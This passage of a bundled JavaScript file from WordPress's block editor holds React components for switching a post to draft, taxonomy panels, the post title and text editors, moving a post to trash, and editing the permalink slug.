20407 external_wp_deprecated_default()("wp.editor.PostSwitchToDraftButton", {
20408 since: "6.7",
20409 version: "6.9"
20410 });
20411 const [showConfirmDialog, setShowConfirmDialog] = (0,external_wp_element_namespaceObject.useState)(false);
20412 const { editPost, savePost } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
20413 const { isSaving, isPublished, isScheduled } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
20414 const { isSavingPost, isCurrentPostPublished, isCurrentPostScheduled } = select(store_store);
20415 return {
20416 isSaving: isSavingPost(),
20417 isPublished: isCurrentPostPublished(),
20418 isScheduled: isCurrentPostScheduled()
20419 };
20420 }, []);
20421 const isDisabled = isSaving || !isPublished && !isScheduled;
20422 let alertMessage;
20423 let confirmButtonText;
20424 if (isPublished) {
20425 alertMessage = (0,external_wp_i18n_namespaceObject.__)("Are you sure you want to unpublish this post?");
20426 confirmButtonText = (0,external_wp_i18n_namespaceObject.__)("Unpublish");
20427 } else if (isScheduled) {
20428 alertMessage = (0,external_wp_i18n_namespaceObject.__)("Are you sure you want to unschedule this post?");
20429 confirmButtonText = (0,external_wp_i18n_namespaceObject.__)("Unschedule");
20430 }
20431 const handleConfirm = () => {
20432 setShowConfirmDialog(false);
20433 editPost({ status: "draft" });
20434 savePost();
20435 };
20436 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
20437 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20438 external_wp_components_namespaceObject.Button,
20439 {
20440 __next40pxDefaultSize: true,
20441 className: "editor-post-switch-to-draft",
20442 onClick: () => {
20443 if (!isDisabled) {
20444 setShowConfirmDialog(true);
20445 }
20446 },
20447 "aria-disabled": isDisabled,
20448 variant: "secondary",
20449 style: { flexGrow: "1", justifyContent: "center" },
20450 children: (0,external_wp_i18n_namespaceObject.__)("Switch to draft")
20451 }
20452 ),
20453 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20454 external_wp_components_namespaceObject.__experimentalConfirmDialog,
20455 {
20456 isOpen: showConfirmDialog,
20457 onConfirm: handleConfirm,
20458 onCancel: () => setShowConfirmDialog(false),
20459 confirmButtonText,
20460 children: alertMessage
20461 }
20462 )
20463 ] });
20464}
20465
20466
20467;// ./node_modules/@wordpress/editor/build-module/components/post-sync-status/index.js
20468
20469
20470
20471
20472
20473function PostSyncStatus() {
20474 const { syncStatus, postType } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
20475 const { getEditedPostAttribute } = select(store_store);
20476 const meta = getEditedPostAttribute("meta");
20477 const currentSyncStatus = meta?.wp_pattern_sync_status === "unsynced" ? "unsynced" : getEditedPostAttribute("wp_pattern_sync_status");
20478 return {
20479 syncStatus: currentSyncStatus,
20480 postType: getEditedPostAttribute("type")
20481 };
20482 });
20483 if (postType !== "wp_block") {
20484 return null;
20485 }
20486 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_panel_row_default, { label: (0,external_wp_i18n_namespaceObject.__)("Sync status"), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "editor-post-sync-status__value", children: syncStatus === "unsynced" ? (0,external_wp_i18n_namespaceObject._x)("Not synced", "pattern (singular)") : (0,external_wp_i18n_namespaceObject._x)("Synced", "pattern (singular)") }) });
20487}
20488
20489
20490;// ./node_modules/@wordpress/editor/build-module/components/post-taxonomies/index.js
20491
20492
20493
20494
20495
20496
20497
20498const post_taxonomies_identity = (x) => x;
20499function PostTaxonomies({ taxonomyWrapper = post_taxonomies_identity }) {
20500 const { postType, taxonomies } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
20501 return {
20502 postType: select(store_store).getCurrentPostType(),
20503 taxonomies: select(external_wp_coreData_namespaceObject.store).getEntityRecords(
20504 "root",
20505 "taxonomy",
20506 { per_page: -1 }
20507 )
20508 };
20509 }, []);
20510 const visibleTaxonomies = (taxonomies ?? []).filter(
20511 (taxonomy) => (
20512 // In some circumstances .visibility can end up as undefined so optional chaining operator required.
20513 // https://github.com/WordPress/gutenberg/issues/40326
20514 taxonomy.types.includes(postType) && taxonomy.visibility?.show_ui
20515 )
20516 );
20517 return visibleTaxonomies.map((taxonomy) => {
20518 const TaxonomyComponent = taxonomy.hierarchical ? hierarchical_term_selector_default : flat_term_selector_default;
20519 const taxonomyComponentProps = {
20520 slug: taxonomy.slug,
20521 ...taxonomy.hierarchical ? {} : { __nextHasNoMarginBottom: true }
20522 };
20523 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.Fragment, { children: taxonomyWrapper(
20524 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TaxonomyComponent, { ...taxonomyComponentProps }),
20525 taxonomy
20526 ) }, `taxonomy-${taxonomy.slug}`);
20527 });
20528}
20529var post_taxonomies_default = PostTaxonomies;
20530
20531
20532;// ./node_modules/@wordpress/editor/build-module/components/post-taxonomies/check.js
20533
20534
20535
20536function PostTaxonomiesCheck({ children }) {
20537 const hasTaxonomies = (0,external_wp_data_namespaceObject.useSelect)((select) => {
20538 const postType = select(store_store).getCurrentPostType();
20539 const taxonomies = select(external_wp_coreData_namespaceObject.store).getEntityRecords(
20540 "root",
20541 "taxonomy",
20542 { per_page: -1 }
20543 );
20544 return taxonomies?.some(
20545 (taxonomy) => taxonomy.types.includes(postType)
20546 );
20547 }, []);
20548 if (!hasTaxonomies) {
20549 return null;
20550 }
20551 return children;
20552}
20553
20554
20555;// ./node_modules/@wordpress/editor/build-module/components/post-taxonomies/panel.js
20556
20557
20558
20559
20560
20561
20562function TaxonomyPanel({ taxonomy, children }) {
20563 const slug = taxonomy?.slug;
20564 const panelName = slug ? `taxonomy-panel-${slug}` : "";
20565 const { isEnabled, isOpened } = (0,external_wp_data_namespaceObject.useSelect)(
20566 (select) => {
20567 const { isEditorPanelEnabled, isEditorPanelOpened } = select(store_store);
20568 return {
20569 isEnabled: slug ? isEditorPanelEnabled(panelName) : false,
20570 isOpened: slug ? isEditorPanelOpened(panelName) : false
20571 };
20572 },
20573 [panelName, slug]
20574 );
20575 const { toggleEditorPanelOpened } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
20576 if (!isEnabled) {
20577 return null;
20578 }
20579 const taxonomyMenuName = taxonomy?.labels?.menu_name;
20580 if (!taxonomyMenuName) {
20581 return null;
20582 }
20583 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20584 external_wp_components_namespaceObject.PanelBody,
20585 {
20586 title: taxonomyMenuName,
20587 opened: isOpened,
20588 onToggle: () => toggleEditorPanelOpened(panelName),
20589 children
20590 }
20591 );
20592}
20593function panel_PostTaxonomies() {
20594 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostTaxonomiesCheck, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20595 post_taxonomies_default,
20596 {
20597 taxonomyWrapper: (content, taxonomy) => {
20598 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TaxonomyPanel, { taxonomy, children: content });
20599 }
20600 }
20601 ) });
20602}
20603
20604
20605// EXTERNAL MODULE: ./node_modules/react-autosize-textarea/lib/index.js
20606var lib = __webpack_require__(4132);
20607;// ./node_modules/@wordpress/editor/build-module/components/post-text-editor/index.js
20608
20609
20610
20611
20612
20613
20614
20615
20616
20617
20618function PostTextEditor() {
20619 const instanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(PostTextEditor);
20620 const { content, blocks, type, id } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
20621 const { getEditedEntityRecord } = select(external_wp_coreData_namespaceObject.store);
20622 const { getCurrentPostType, getCurrentPostId } = select(store_store);
20623 const _type = getCurrentPostType();
20624 const _id = getCurrentPostId();
20625 const editedRecord = getEditedEntityRecord("postType", _type, _id);
20626 return {
20627 content: editedRecord?.content,
20628 blocks: editedRecord?.blocks,
20629 type: _type,
20630 id: _id
20631 };
20632 }, []);
20633 const { editEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
20634 const value = (0,external_wp_element_namespaceObject.useMemo)(() => {
20635 if (content instanceof Function) {
20636 return content({ blocks });
20637 } else if (blocks) {
20638 return (0,external_wp_blocks_namespaceObject.__unstableSerializeAndClean)(blocks);
20639 }
20640 return content;
20641 }, [content, blocks]);
20642 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
20643 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20644 external_wp_components_namespaceObject.VisuallyHidden,
20645 {
20646 as: "label",
20647 htmlFor: `post-content-${instanceId}`,
20648 children: (0,external_wp_i18n_namespaceObject.__)("Type text or HTML")
20649 }
20650 ),
20651 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20652 lib/* default */.A,
20653 {
20654 autoComplete: "off",
20655 dir: "auto",
20656 value,
20657 onChange: (event) => {
20658 editEntityRecord("postType", type, id, {
20659 content: event.target.value,
20660 blocks: void 0,
20661 selection: void 0
20662 });
20663 },
20664 className: "editor-post-text-editor",
20665 id: `post-content-${instanceId}`,
20666 placeholder: (0,external_wp_i18n_namespaceObject.__)("Start writing with text or HTML")
20667 }
20668 )
20669 ] });
20670}
20671
20672
20673;// ./node_modules/@wordpress/editor/build-module/components/post-title/constants.js
20674const DEFAULT_CLASSNAMES = "wp-block wp-block-post-title block-editor-block-list__block editor-post-title editor-post-title__input rich-text";
20675const REGEXP_NEWLINES = /[\r\n]+/g;
20676
20677
20678;// ./node_modules/@wordpress/editor/build-module/components/post-title/use-post-title-focus.js
20679
20680
20681
20682function usePostTitleFocus(forwardedRef) {
20683 const ref = (0,external_wp_element_namespaceObject.useRef)();
20684 const { isCleanNewPost } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
20685 const { isCleanNewPost: _isCleanNewPost } = select(store_store);
20686 return {
20687 isCleanNewPost: _isCleanNewPost()
20688 };
20689 }, []);
20690 (0,external_wp_element_namespaceObject.useImperativeHandle)(forwardedRef, () => ({
20691 focus: () => {
20692 ref?.current?.focus();
20693 }
20694 }));
20695 (0,external_wp_element_namespaceObject.useEffect)(() => {
20696 if (!ref.current) {
20697 return;
20698 }
20699 const { defaultView } = ref.current.ownerDocument;
20700 const { name, parent } = defaultView;
20701 const ownerDocument = name === "editor-canvas" ? parent.document : defaultView.document;
20702 const { activeElement, body } = ownerDocument;
20703 if (isCleanNewPost && (!activeElement || body === activeElement)) {
20704 ref.current.focus();
20705 }
20706 }, [isCleanNewPost]);
20707 return { ref };
20708}
20709
20710
20711;// ./node_modules/@wordpress/editor/build-module/components/post-title/use-post-title.js
20712
20713
20714function usePostTitle() {
20715 const { editPost } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
20716 const { title } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
20717 const { getEditedPostAttribute } = select(store_store);
20718 return {
20719 title: getEditedPostAttribute("title")
20720 };
20721 }, []);
20722 function updateTitle(newTitle) {
20723 editPost({ title: newTitle });
20724 }
20725 return { title, setTitle: updateTitle };
20726}
20727
20728
20729;// ./node_modules/@wordpress/editor/build-module/components/post-title/index.js
20730
20731
20732
20733
20734
20735
20736
20737
20738
20739
20740
20741
20742
20743
20744
20745
20746const PostTitle = (0,external_wp_element_namespaceObject.forwardRef)((_, forwardedRef) => {
20747 const { placeholder } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
20748 const { getSettings } = select(external_wp_blockEditor_namespaceObject.store);
20749 const { titlePlaceholder } = getSettings();
20750 return {
20751 placeholder: titlePlaceholder
20752 };
20753 }, []);
20754 const [isSelected, setIsSelected] = (0,external_wp_element_namespaceObject.useState)(false);
20755 const { ref: focusRef } = usePostTitleFocus(forwardedRef);
20756 const { title, setTitle: onUpdate } = usePostTitle();
20757 const [selection, setSelection] = (0,external_wp_element_namespaceObject.useState)({});
20758 const { clearSelectedBlock, insertBlocks, insertDefaultBlock } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
20759 const decodedPlaceholder = (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(placeholder) || (0,external_wp_i18n_namespaceObject.__)("Add title");
20760 const {
20761 value,
20762 onChange,
20763 ref: richTextRef
20764 } = (0,external_wp_richText_namespaceObject.__unstableUseRichText)({
20765 value: title,
20766 onChange(newValue) {
20767 onUpdate(newValue.replace(REGEXP_NEWLINES, " "));
20768 },
20769 placeholder: decodedPlaceholder,
20770 selectionStart: selection.start,
20771 selectionEnd: selection.end,
20772 onSelectionChange(newStart, newEnd) {
20773 setSelection((sel) => {
20774 const { start, end } = sel;
20775 if (start === newStart && end === newEnd) {
20776 return sel;
20777 }
20778 return {
20779 start: newStart,
20780 end: newEnd
20781 };
20782 });
20783 },
20784 __unstableDisableFormats: false
20785 });
20786 function onInsertBlockAfter(blocks) {
20787 insertBlocks(blocks, 0);
20788 }
20789 function onSelect() {
20790 setIsSelected(true);
20791 clearSelectedBlock();
20792 }
20793 function onUnselect() {
20794 setIsSelected(false);
20795 setSelection({});
20796 }
20797 function onEnterPress() {
20798 insertDefaultBlock(void 0, void 0, 0);
20799 }
20800 function onKeyDown(event) {
20801 if (event.keyCode === external_wp_keycodes_namespaceObject.ENTER) {
20802 event.preventDefault();
20803 onEnterPress();
20804 }
20805 }
20806 function onPaste(event) {
20807 const clipboardData = event.clipboardData;
20808 let plainText = "";
20809 let html = "";
20810 try {
20811 plainText = clipboardData.getData("text/plain");
20812 html = clipboardData.getData("text/html");
20813 } catch (error) {
20814 return;
20815 }
20816 window.console.log("Received HTML:\n\n", html);
20817 window.console.log("Received plain text:\n\n", plainText);
20818 const content = (0,external_wp_blocks_namespaceObject.pasteHandler)({
20819 HTML: html,
20820 plainText
20821 });
20822 event.preventDefault();
20823 if (!content.length) {
20824 return;
20825 }
20826 if (typeof content !== "string") {
20827 const [firstBlock] = content;
20828 if (!title && (firstBlock.name === "core/heading" || firstBlock.name === "core/paragraph")) {
20829 const contentNoHTML = (0,external_wp_dom_namespaceObject.__unstableStripHTML)(
20830 firstBlock.attributes.content
20831 );
20832 onUpdate(contentNoHTML);
20833 onInsertBlockAfter(content.slice(1));
20834 } else {
20835 onInsertBlockAfter(content);
20836 }
20837 } else {
20838 const contentNoHTML = (0,external_wp_dom_namespaceObject.__unstableStripHTML)(content);
20839 onChange((0,external_wp_richText_namespaceObject.insert)(value, (0,external_wp_richText_namespaceObject.create)({ html: contentNoHTML })));
20840 }
20841 }
20842 const className = dist_clsx(DEFAULT_CLASSNAMES, {
20843 "is-selected": isSelected
20844 });
20845 return (
20846 /* eslint-disable jsx-a11y/heading-has-content, jsx-a11y/no-noninteractive-element-to-interactive-role */
20847 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20848 "h1",
20849 {
20850 ref: (0,external_wp_compose_namespaceObject.useMergeRefs)([richTextRef, focusRef]),
20851 contentEditable: true,
20852 className,
20853 "aria-label": decodedPlaceholder,
20854 role: "textbox",
20855 "aria-multiline": "true",
20856 onFocus: onSelect,
20857 onBlur: onUnselect,
20858 onKeyDown,
20859 onPaste
20860 }
20861 )
20862 );
20863});
20864var post_title_default = (0,external_wp_element_namespaceObject.forwardRef)((_, forwardedRef) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_type_support_check_default, { supportKeys: "title", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostTitle, { ref: forwardedRef }) }));
20865
20866
20867;// ./node_modules/@wordpress/editor/build-module/components/post-title/post-title-raw.js
20868
20869
20870
20871
20872
20873
20874
20875
20876
20877
20878
20879function PostTitleRaw(_, forwardedRef) {
20880 const { placeholder } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
20881 const { getSettings } = select(external_wp_blockEditor_namespaceObject.store);
20882 const { titlePlaceholder } = getSettings();
20883 return {
20884 placeholder: titlePlaceholder
20885 };
20886 }, []);
20887 const [isSelected, setIsSelected] = (0,external_wp_element_namespaceObject.useState)(false);
20888 const { title, setTitle: onUpdate } = usePostTitle();
20889 const { ref: focusRef } = usePostTitleFocus(forwardedRef);
20890 function onChange(value) {
20891 onUpdate(value.replace(REGEXP_NEWLINES, " "));
20892 }
20893 function onSelect() {
20894 setIsSelected(true);
20895 }
20896 function onUnselect() {
20897 setIsSelected(false);
20898 }
20899 const className = dist_clsx(DEFAULT_CLASSNAMES, {
20900 "is-selected": isSelected,
20901 "is-raw-text": true
20902 });
20903 const decodedPlaceholder = (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(placeholder) || (0,external_wp_i18n_namespaceObject.__)("Add title");
20904 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20905 external_wp_components_namespaceObject.TextareaControl,
20906 {
20907 ref: focusRef,
20908 value: title,
20909 onChange,
20910 onFocus: onSelect,
20911 onBlur: onUnselect,
20912 label: placeholder,
20913 className,
20914 placeholder: decodedPlaceholder,
20915 hideLabelFromVision: true,
20916 autoComplete: "off",
20917 dir: "auto",
20918 rows: 1,
20919 __nextHasNoMarginBottom: true
20920 }
20921 );
20922}
20923var post_title_raw_default = (0,external_wp_element_namespaceObject.forwardRef)(PostTitleRaw);
20924
20925
20926;// ./node_modules/@wordpress/editor/build-module/components/post-trash/check.js
20927
20928
20929
20930
20931function PostTrashCheck({ children }) {
20932 const { canTrashPost } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
20933 const { isEditedPostNew, getCurrentPostId, getCurrentPostType } = select(store_store);
20934 const { canUser } = select(external_wp_coreData_namespaceObject.store);
20935 const postType = getCurrentPostType();
20936 const postId = getCurrentPostId();
20937 const isNew = isEditedPostNew();
20938 const canUserDelete = !!postId ? canUser("delete", {
20939 kind: "postType",
20940 name: postType,
20941 id: postId
20942 }) : false;
20943 return {
20944 canTrashPost: (!isNew || postId) && canUserDelete && !GLOBAL_POST_TYPES.includes(postType)
20945 };
20946 }, []);
20947 if (!canTrashPost) {
20948 return null;
20949 }
20950 return children;
20951}
20952
20953
20954;// ./node_modules/@wordpress/editor/build-module/components/post-trash/index.js
20955
20956
20957
20958
20959
20960
20961
20962function PostTrash({ onActionPerformed }) {
20963 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
20964 const { isNew, isDeleting, postId, title } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
20965 const store = select(store_store);
20966 return {
20967 isNew: store.isEditedPostNew(),
20968 isDeleting: store.isDeletingPost(),
20969 postId: store.getCurrentPostId(),
20970 title: store.getCurrentPostAttribute("title")
20971 };
20972 }, []);
20973 const { trashPost } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
20974 const [showConfirmDialog, setShowConfirmDialog] = (0,external_wp_element_namespaceObject.useState)(false);
20975 if (isNew || !postId) {
20976 return null;
20977 }
20978 const handleConfirm = async () => {
20979 setShowConfirmDialog(false);
20980 await trashPost();
20981 const item = await registry.resolveSelect(store_store).getCurrentPost();
20982 onActionPerformed?.("move-to-trash", [item]);
20983 };
20984 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(PostTrashCheck, { children: [
20985 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20986 external_wp_components_namespaceObject.Button,
20987 {
20988 __next40pxDefaultSize: true,
20989 className: "editor-post-trash",
20990 isDestructive: true,
20991 variant: "secondary",
20992 isBusy: isDeleting,
20993 "aria-disabled": isDeleting,
20994 onClick: isDeleting ? void 0 : () => setShowConfirmDialog(true),
20995 children: (0,external_wp_i18n_namespaceObject.__)("Move to trash")
20996 }
20997 ),
20998 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20999 external_wp_components_namespaceObject.__experimentalConfirmDialog,
21000 {
21001 isOpen: showConfirmDialog,
21002 onConfirm: handleConfirm,
21003 onCancel: () => setShowConfirmDialog(false),
21004 confirmButtonText: (0,external_wp_i18n_namespaceObject.__)("Move to trash"),
21005 size: "small",
21006 children: (0,external_wp_i18n_namespaceObject.sprintf)(
21007 // translators: %s: The item's title.
21008 (0,external_wp_i18n_namespaceObject.__)('Are you sure you want to move "%s" to the trash?'),
21009 title
21010 )
21011 }
21012 )
21013 ] });
21014}
21015
21016
21017;// ./node_modules/@wordpress/editor/build-module/components/post-url/index.js
21018
21019
21020
21021
21022
21023
21024
21025
21026
21027
21028
21029
21030function PostURL({ onClose }) {
21031 const {
21032 isEditable,
21033 postSlug,
21034 postLink,
21035 permalinkPrefix,
21036 permalinkSuffix,
21037 permalink
21038 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
21039 const post = select(store_store).getCurrentPost();
21040 const postTypeSlug = select(store_store).getCurrentPostType();
21041 const postType = select(external_wp_coreData_namespaceObject.store).getPostType(postTypeSlug);
21042 const permalinkParts = select(store_store).getPermalinkParts();
21043 const hasPublishAction = post?._links?.["wp:action-publish"] ?? false;
21044 return {
21045 isEditable: select(store_store).isPermalinkEditable() && hasPublishAction,
21046 postSlug: (0,external_wp_url_namespaceObject.safeDecodeURIComponent)(
21047 select(store_store).getEditedPostSlug()
21048 ),
21049 viewPostLabel: postType?.labels.view_item,
21050 postLink: post.link,
21051 permalinkPrefix: permalinkParts?.prefix,
21052 permalinkSuffix: permalinkParts?.suffix,
21053 permalink: (0,external_wp_url_namespaceObject.safeDecodeURIComponent)(
21054 select(store_store).getPermalink()
21055 )
21056 };
21057 }, []);
21058 const { editPost } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
21059 const { createNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
21060 const [forceEmptyField, setForceEmptyField] = (0,external_wp_element_namespaceObject.useState)(false);
21061 const copyButtonRef = (0,external_wp_compose_namespaceObject.useCopyToClipboard)(permalink, () => {
21062 createNotice("info", (0,external_wp_i18n_namespaceObject.__)("Copied Permalink to clipboard."), {
21063 isDismissible: true,
21064 type: "snackbar"
21065 });
21066 });
21067 const postUrlSlugDescriptionId = "editor-post-url__slug-description-" + (0,external_wp_compose_namespaceObject.useInstanceId)(PostURL);
21068 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "editor-post-url", children: [
21069 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21070 external_wp_blockEditor_namespaceObject.__experimentalInspectorPopoverHeader,
21071 {
21072 title: (0,external_wp_i18n_namespaceObject.__)("Slug"),
21073 onClose
21074 }
21075 ),
21076 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 3, children: [
21077 isEditable && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "editor-post-url__intro", children: (0,external_wp_element_namespaceObject.createInterpolateElement)(
21078 (0,external_wp_i18n_namespaceObject.__)(
21079 "<span>Customize the last part of the Permalink.</span> <a>Learn more.</a>"
21080 ),
21081 {
21082 span: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { id: postUrlSlugDescriptionId }),
21083 a: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21084 external_wp_components_namespaceObject.ExternalLink,
21085 {
21086 href: (0,external_wp_i18n_namespaceObject.__)(
21087 "https://wordpress.org/documentation/article/page-post-settings-sidebar/#permalink"
21088 )
21089 }
21090 )
21091 }
21092 ) }),
21093 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { children: [
21094 isEditable && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
21095 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21096 external_wp_components_namespaceObject.__experimentalInputControl,
21097 {
21098 __next40pxDefaultSize: true,
21099 prefix: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalInputControlPrefixWrapper, { children: "/" }),
21100 suffix: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalInputControlSuffixWrapper, { variant: "control", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21101 external_wp_components_namespaceObject.Button,
21102 {
21103 icon: copy_small_default,
21104 ref: copyButtonRef,
21105 size: "small",
21106 label: "Copy"
21107 }
21108 ) }),
21109 label: (0,external_wp_i18n_namespaceObject.__)("Slug"),
21110 hideLabelFromVision: true,
21111 value: forceEmptyField ? "" : postSlug,
21112 autoComplete: "off",
21113 spellCheck: "false",
21114 type: "text",
21115 className: "editor-post-url__input",
21116 onChange: (newValue) => {
21117 editPost({ slug: newValue });
21118 if (!newValue) {
21119 if (!forceEmptyField) {
21120 setForceEmptyField(true);
21121 }
21122 return;
21123 }
21124 if (forceEmptyField) {
21125 setForceEmptyField(false);
21126 }
21127 },
21128 onBlur: (event) => {
21129 editPost({
21130 slug: (0,external_wp_url_namespaceObject.cleanForSlug)(
21131 event.target.value
21132 )
21133 });
21134 if (forceEmptyField) {
21135 setForceEmptyField(false);
21136 }
21137 },
21138 "aria-describedby": postUrlSlugDescriptionId
21139 }
21140 ),
21141 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("p", { className: "editor-post-url__permalink", children: [
21142 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "editor-post-url__permalink-visual-label", children: (0,external_wp_i18n_namespaceObject.__)("Permalink:") }),
21143 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
21144 external_wp_components_namespaceObject.ExternalLink,
21145 {
21146 className: "editor-post-url__link",
21147 href: postLink,
21148 target: "_blank",
21149 children: [
21150 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "editor-post-url__link-prefix", children: permalinkPrefix }),
21151 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "editor-post-url__link-slug", children: postSlug }),
21152 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "editor-post-url__link-suffix", children: permalinkSuffix })
21153 ]
21154 }
21155 )
21156 ] })
21157 ] }),
21158 !isEditable && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21159 external_wp_components_namespaceObject.ExternalLink,
21160 {
21161 className: "editor-post-url__link",
21162 href: postLink,
21163 target: "_blank",
21164 children: postLink
21165 }
21166 )
21167 ] })
21168 ] })
21169 ] });
21170}
21171
21172
21173;// ./node_modules/@wordpress/editor/build-module/components/post-url/check.js
21174
21175
21176
21177function PostURLCheck({ children }) {
21178 const isVisible = (0,external_wp_data_namespaceObject.useSelect)((select) => {
21179 const postTypeSlug = select(store_store).getCurrentPostType();
21180 const postType = select(external_wp_coreData_namespaceObject.store).getPostType(postTypeSlug);
21181 if (!postType?.viewable) {
21182 return false;
21183 }
21184 const post = select(store_store).getCurrentPost();
21185 if (!post.link) {
21186 return false;
21187 }
21188 const permalinkParts = select(store_store).getPermalinkParts();
21189 if (!permalinkParts) {
21190 return false;
21191 }
21192 return true;
21193 }, []);
21194 if (!isVisible) {
21195 return null;
21196 }
21197 return children;
21198}
21199
21200
21201;// ./node_modules/@wordpress/editor/build-module/components/post-url/label.js
21202
21203
21204
21205function PostURLLabel() {
21206 return usePostURLLabel();
21207}
21208function usePostURLLabel() {
21209 const postLink = (0,external_wp_data_namespaceObject.useSelect)(
21210 (select) => select(store_store).getPermalink(),
21211 []
21212 );
21213 return (0,external_wp_url_namespaceObject.filterURLForDisplay)((0,external_wp_url_namespaceObject.safeDecodeURIComponent)(postLink));
21214}
21215
21216
21217;// ./node_modules/@wordpress/editor/build-module/components/post-url/panel.js
21218
21219
21220
21221
21222
21223
21224
21225
21226
21227
21228
21229function PostURLPanel() {
21230 const { isFrontPage } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
21231 const { getCurrentPostId } = select(store_store);
21232 const { getEditedEntityRecord, canUser } = select(external_wp_coreData_namespaceObject.store);
21233 const siteSettings = canUser("read", {
21234 kind: "root",
21235 name: "site"
21236 }) ? getEditedEntityRecord("root", "site") : void 0;
21237 const _id = getCurrentPostId();
21238 return {
21239 isFrontPage: siteSettings?.page_on_front === _id
21240 };
21241 }, []);
21242 const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
21243 const popoverProps = (0,external_wp_element_namespaceObject.useMemo)(
21244 () => ({
21245 // Anchor the popover to the middle of the entire row so that it doesn't
21246 // move around when the label changes.
21247 anchor: popoverAnchor,
21248 placement: "left-start",
21249 offset: 36,
21250 shift: true
21251 }),
21252 [popoverAnchor]
21253 );
21254 const label = isFrontPage ? (0,external_wp_i18n_namespaceObject.__)("Link") : (0,external_wp_i18n_namespaceObject.__)("Slug");
21255 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostURLCheck, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(post_panel_row_default, { label, ref: setPopoverAnchor, children: [
21256 !isFrontPage && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21257 external_wp_components_namespaceObject.Dropdown,
21258 {
21259 popoverProps,
21260 className: "editor-post-url__panel-dropdown",
21261 contentClassName: "editor-post-url__panel-dialog",
21262 focusOnMount: true,
